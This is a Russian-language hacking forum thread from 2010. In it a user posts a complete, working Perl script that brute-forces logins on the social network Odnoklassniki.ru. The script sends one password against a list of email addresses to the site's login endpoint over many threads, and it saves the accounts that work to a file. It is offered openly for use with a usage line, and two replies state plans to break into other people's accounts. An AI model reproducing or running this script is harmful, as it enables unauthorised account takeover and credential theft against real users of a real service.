Вернуться   D3Scene.Ru Софт портал игр | Хаки | Проги | Статьи > Другое > Социальные Сети > Одноклассники.ру
Присоединяйся к нам



Ответ
 
Опции темы Опции просмотра
Старый 04.09.2010, 20:24   #1
This? On Melancholy Hill




 
Аватар для UnDeaDRoCUser
 
Регистрация: 18.09.2008
Адрес: system32
Сообщений: 5,237
Репутация: 1415
Отправить сообщение для UnDeaDRoCUser с помощью ICQ Отправить сообщение для UnDeaDRoCUser с помощью Skype™
Автор Радость

Odnoklassniki.ru brut


Код:
#! /usr/bin/perl -w
use IO::Socket;
use threads;
use threads::shared;

$threads =  shift || 5				; #Кол-во потоков
$pass    =  shift || 'qwerty'     	; #pwd
$fname   = 'good.txt'   			; #Валидные
$ml      =  shift || 'emails.txt'	; #Список мыл

my @acc : shared;
my $i : shared;
my $total : shared;
$| =1;

print "Loading...\n";

open (ACS, "<$ml") || die("Could not open mail list file!");
@acc = acc();

$size = scalar @acc;
$time 	 = time; 
$start 	 = localtime;
print  "Loaded: ",$size," emails.\n";
printf "Started at $start\n";

for(0..$threads) {$trl[$_] = threads->create(\&Brut, $_);}
for(@trl) { $_->join; }

sub Brut
{
	while(@acc)
	{	
		{lock(@acc);$acc = shift @acc;}
		my $sock = new IO::Socket::INET 
		(
		PeerAddr => 'w17.odnoklassniki.ru',
   		PeerPort => 80, 
   		PeerProto => 'tcp', 
   		TimeOut => 20
		) or die "Can't connect\n";

		my $data = "st.posted=set&st.email=$acc&st.password=$pass&button_go=%D0%92%D0%BE%D0%B9%D1%82%D0%B8";
		my $len = length($data);
		my $re = "POST http://w17.odnoklassniki.ru/cdk/st.cmd/login/tkn/5622 HTTP/1.1\nHost: w17.odnoklassniki.ru\n".
		 "User-Agent: Mozilla/4.0 (compatible; MSIE 7.0b1; Windows NT 5.1; SV1; .NET CLR 1.1.4322; MS IdentiServ 1.4.12)\nKeep-Alive: 300\n".
		 "Connection: keep-alive\nReferer: http://w17.odnoklassniki.ru\n".
		 "Content-Type: application/x-www-form-urlencoded\n".
		 "Content-Length: $len\n\n$data";
		
		print $sock $re; 
		sysread ($sock, my $answ, 400);
		
		if($answ =~ /userMain/)
			{
				{lock($total); $total++;}
				print "[+] $acc\n";
				open(FILE, ">>$fname") || die("Could not open $fname\n");
				print FILE "$acc : $pass\n";
				close(FILE);
			}
		{lock($i);$i++;}
		$percent = ($i/$size)*100;
		progress();

	}
			
		
}


$time = time-$time;
$end = localtime;
printf "Finished at $end\n";
printf "Time elapsed: $time sec\n";
printf "Found: $total \n";

sub progress{

print "|";
$percent = sprintf("%.2f", $percent);
print "< $percent% >\r";
print "\r";
	}

sub acc
{
	my (@mas);
	while (<ACS>){
	push @mas, $_;
	}
	chomp @mas;
	return @mas;
}

#(c)Kaimi
Download - [Ссылки скрыты от гостей.]

Цитата:
брутит список ламерских мыл на один ламерский пароль
синтаксис script.pl потоки пароль список_мыл
grabberz.com(с)
__________________
[ [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | [Ссылки скрыты от гостей.] | ]

[ [Ссылки скрыты от гостей.] ]

  Ответить с цитированием Наверх
Старый 04.09.2010, 22:07   #2
Новичок
 
Аватар для KataroS
 
Регистрация: 04.09.2010
Адрес: НиНо
Сообщений: 7
Репутация: 2
Отправить сообщение для KataroS с помощью ICQ
По умолчанию

Хм попробую...Надеюсь что не вирусня...А то как раз родичам акк нужен в одноклассниках...
  Ответить с цитированием Наверх
Старый 13.09.2010, 03:03   #3
Рядовой
 
Аватар для }{оттабыч
 
Регистрация: 02.09.2010
Адрес: Владивосток
Сообщений: 12
Репутация: 6
По умолчанию

И что? Работает? Если работает, тоже попробую. Надо одного лоха пульнуть!
__________________
Пиво снимает умственное напряжение - "рассла###ет мозг". А мозг у хакеров устает.
[SIGPIC][/SIGPIC]
  Ответить с цитированием Наверх
Ответ


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 
Опции темы
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход


Powered by vBulletin
Copyright © 2017 vBulletin Solutions, Inc.
Перевод: zCarot | Дизайн: G-A | Верстка: OldEr
Текущее время: 05:29. Часовой пояс GMT +4.